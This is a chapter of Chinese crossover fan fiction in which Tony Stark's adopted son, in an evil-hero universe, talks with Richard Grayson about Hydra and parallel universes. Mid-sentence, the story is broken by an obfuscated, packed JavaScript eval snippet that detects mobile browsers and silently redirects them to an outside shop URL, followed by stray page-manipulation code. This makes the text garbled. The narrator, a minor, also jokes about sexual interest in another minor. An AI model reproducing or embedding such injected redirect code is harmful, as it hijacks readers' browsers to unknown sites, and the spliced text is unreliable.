我知道我现在活在一个美漫世界,毕竟我认识钢铁侠,也知道大都会那个长得像盗版超人的终极人,还有哥谭的盗版蝙蝠侠,夜枭。
可是我对我所处的世界为什么是这样,没有一点儿头绪。
穿越前,我对于美漫的认知停留在:“超人为什么要大战蝙蝠侠他俩不都是好人吗?”“什么?超人居然是外星人?”“什么?!蝙蝠侠居然有儿子?!”……这个程度。
我对DC的了解甚至不够让我知道超人和蝙蝠侠在同一个世界观里。在此之前我一直以为《蝙蝠侠大战超人》是某种类似于《贞子大战伽椰子》、《哥斯拉大战金刚》的拉郎配。
至于漫威。漫威我还是知道的。我看过复联二。
……嗯。只看过这个,不过足够让我知道复联大概有哪几个人了。
好消息,我认识这些英雄们,坏消息,在这个世界他们看起来都不像是什么好人。
就拿夜枭来说吧。他是哥谭的主人,就像托尼是旧金山的主人一样。整个哥谭都生活在他的高压统治之下。具体而言,就是勒索威胁贿赂各种工具人,并且在有人对他的统治表达异议的时候弄死他们。
我知道他也姓韦恩,但是他和他那位打扮成蝙蝠的平行世界同位体绝对不是一路人。
而我旁边这位恋父情结较为严重的,是理查德·格雷森。像我一样,他也是被收养的。现在他代号利爪,作为夜枭的助手活动——或者更确切地说,他的走狗。
在这一点上我们倒是很相似。我是说除了恋父情结那个部分。
我们本来是不会认识的。夜枭喜欢缩在自己的城市,托尼则更喜欢开派对而不是和另一座城市开战,直到有某些仗着绝境病毒为非作歹的人在哥谭搞了一堆破坏。
可以想见的是,夜枭对此很不开心。
他想办法反制了绝境病毒,并且严禁这玩意儿流入哥谭。托尼就此失去了一笔可观的收入,显然,他对此也很不开心。不过他收到消息的时候正忙着研发一些小玩意儿,一时间脱不开身,而他派去的那些人工智障无一例外地被夜枭搞定了。这时候他终于想起来自己还有个儿子可以使唤。
所以我去了哥谭。我就是在那时候认识理查德的。
一直以来我都觉得理查德对夜枭忠心耿耿得像条真正的狗,从来没想过他会离家出走——而且一跑居然就往他敌人的地盘上跑。
总该不会是觉得我是个老好人吧?我还以为大家都默认这个世界上的老好人全死光了呢。
毕竟,这是个弱肉强食的世界。
有人可能称其为“善恶颠倒”,我不这么认为。这只是……原始。
我将自己的视线从地平线上逐渐消失的光芒处移开,转头盯着理查德。他身上的制服有锋利冰冷的羽毛,像他父亲一样柔顺地作为披风搭在他的身后,像是鸟类垂下的尾羽。
可能有点太原始了,原始得都返祖成鸟了。
虽然我也许没资格说他,毕竟托尼给我起了个鸟名。但是我至少还没有把自己打扮成一只鸟。
“你最好有屁快放。”我说,“如你所见我得去洗个澡……除非你想和我一起洗?我倒是没什么意见。”
当一个人生活在钢铁侠治下的旧金山,就很难保持贞洁——我在说我不介意和理查德打一炮。事实上我馋他身子很久了。我们俩都是未成年,所以不算炼铜。
理查德的毛炸开了。唉,哥谭人。
好吧他只是竖起了他披风上的钢铁羽毛,不过我毫不怀疑他能用这些东西把我捅死,所以我摊开手,耸了耸肩,意思是我只是在开玩笑。
其实我不是。
——我是托尼·斯塔克的养子,这应该足以让任何人理解我的节操下限。
理查德咕哝了一声,听起来像是“早晚弄死你”,然后他清了清嗓子,说:
“事情是这样……”
我耐心听着。理查德逼逼叨叨了一堆废话,夹杂着青春期少男的叛逆心思和我已经重复过很多次但他一直都不愿意承认的恋父情结。我将其总结如下:夜枭对理查德的严格管束终于让这只飞天小狗感到不满了。
“他不让我和他一起去抓人,”他愤愤不平地说,“也不让我去审讯他们——我能帮他!他现在连夜巡都不让我去了,可他培养我不就是为了让我帮他吗?”
我很想说不是,就连我都能看出来夜枭收养理查德并不是为了多个助手,或者多个跟班。可惜理查德一直都意识不到,真是媚眼抛给瞎子看。
“难道他就把我看作一个……一个什么都做不了的废物?”理查德沮丧地说。
其实他表现出来的情绪更接近愤怒,但是我们这个世界的人会把很多种情绪统一表现成愤怒,就像恐惧的动物反而会表现出极端的攻击性,以此来避免示弱可能导致的潜在攻击。所以有时需要小小地做个阅读理解。
“我相信夜枭并不这么看你。”我百无聊赖地说。
“你和他又不熟。”
“是,是,你和他最熟了。那你怎么在我这而不是在他那?”我语带讽刺,“看在你们这么熟的份上,赶紧回去爬你Daddy的床讨好他吧。”
理查德看起来想立刻把我弄死,但他冷静下来的速度超乎我的想象。
“你今天怎么火气这么大?总不会是因为斯塔克泼了你一脑袋酒。”他怀疑地看着我,幅度很小地抽了抽鼻子,“……血的味道。你杀人了?”
“你的鼻子是狗鼻子吗?”我问。天知道他是怎么闻出来的,我觉得我清洗得够干净了,“对,怎么了?又不是只有你们城市有老鼠。”
“夜魔侠?”理查德对我们的城市也略有了解,“我以为他早就逃走了。”
“不是他,他很久都没有出现过了。”我微微停顿了一下,“……是九头蛇。”
九头蛇是一帮很神奇的人,拜我看过的电影所赐,我知道他们在正常的宇宙里是个超反组织。神奇的是,在这个宇宙里他们依然是个超反组织,只是忙着时不时地给其他超反添麻烦,而不是给超英添麻烦……也有可能是因为本该和他们作对的超英已经变成了他们的人。
由此可见我们宇宙也不是所有东西都被反转了。如果有人从正常的那个世界过来,见到一如既往冒着坏水的九头蛇,不知道会不会感到一丝慰藉。
“是他们?”理查德微微一愣,“嗯……”
“怎么了?”我察觉到他态度的微妙转变,很快意识到了什么,“他们也去了哥谭?”
通常来说哥谭有他们自己的那帮祸害,在夜枭的治理下相对独立。九头蛇出现在哥谭是一个很不寻常的信号。我不禁有点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942617|213959||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
好奇。
“他们在做什么?”
理查德沉默了一会儿。
“我没能参加审讯。”他勉强承认道,“不过我倒是隐约听见他们在讨论的东西。”
“是什么?”
“平行宇宙的坐标。”
-
哈尔西恩·斯塔克。
作为斯塔克工业的现任CEO,他年轻得令人难以置信。他聪明、傲慢、强硬,而且还拥有一张漂亮精致的脸蛋——就像使用了绝境病毒的其余所有人一样。
除了黑发蓝眼这一点相同以外,他的相貌并不太像他的养父。性格上,他看起来更为冷淡,也更低调,很少出现在公众面前。
私下认识他的人很少,理查德·格雷森算一个。他还记得他们初次见面的时侯,哈尔西恩穿着一身亮眼的纯白色西装,孤身一人站在哥谭河岸边,漆黑的水流在他脚下翻滚,波浪拍碎在他面前。
蠢货。理查德当时是这么想的。在哥谭打扮得这么招摇的人一般都死得很惨。
鬼使神差地,他甩出钩索,轻盈地落在他身边。
让他没想到的是,他刚刚站稳,还没张嘴,对方却率先说话了。
“看看这条河。”哈尔西恩说,目不转睛地盯着河面,“赫拉克利特曾经说过,人不能第二次踏入同一条河流。我正在想这句话的正确与否。”
“……你是来这找死的吗?”理查德礼貌地问。因为如果是这样就说得通了,只有神经病和准备找死的神经病才会站在河边思考哲学。
“如果赫拉克利特是对的,那么就好了,也许这件事已经发生过了,而且只会发生一次。”哈尔西恩轻轻笑起来,“可是如果他是错的呢?如果我们注定一次又一次地踏入同样的河流呢?如果有无数个世界,而在每一个世界,我们都必须踏入这条河流呢?如果其实只有一个世界,在那个世界我们踏入了河流,而其他世界根本不存在呢?”
理查德盯着他的眼睛,那双眼睛是翠鸟般鲜艳的蓝色,右眼下方深红色的泪滴状胎记随着他的笑容摇晃着。
他认出来这个人是谁了。
在他出言讽刺前,哈尔西恩终于将自己的视线从河上移开了。
“你好,理查德·格雷森。我没想到能在这见到你,很高兴认识你,我们能聊聊吗?”
他的笑容变得公式化了。刚才那种超然的表情不复存在了,就像刚刚烧好的完美的瓷器终于发出清脆的开片声。
这之后三年他再也没看见过哈尔西恩脸上露出他们初见时的那种表情——非要说的话,哲学家的表情。他就像是他父亲一样,作为一个资本家活跃在各种宴会上,游刃有余地应付各种各样的人。有时候他们会在这种宴会上见面,哈尔西恩表现得老练而精明——换句话说,社会化程度很高。他身处人世间,没时间思考各种超脱的形而上问题。
但他刚刚提到平行世界的时候,哈尔西恩的脸上再度露出了那种超然的、迷蒙的、雾气般的神情。
“平行宇宙……”他如梦般说道,神情甚至有点恍惚,“非常有趣……九头蛇也对平行世界感兴趣吗?”
理查德笑了。他就知道哈尔西恩会喜欢的。
“先别管九头蛇了。”他慢慢地说,语气流露出一丝兴奋,“你呢,阿尔西?你对平行宇宙怎么想?”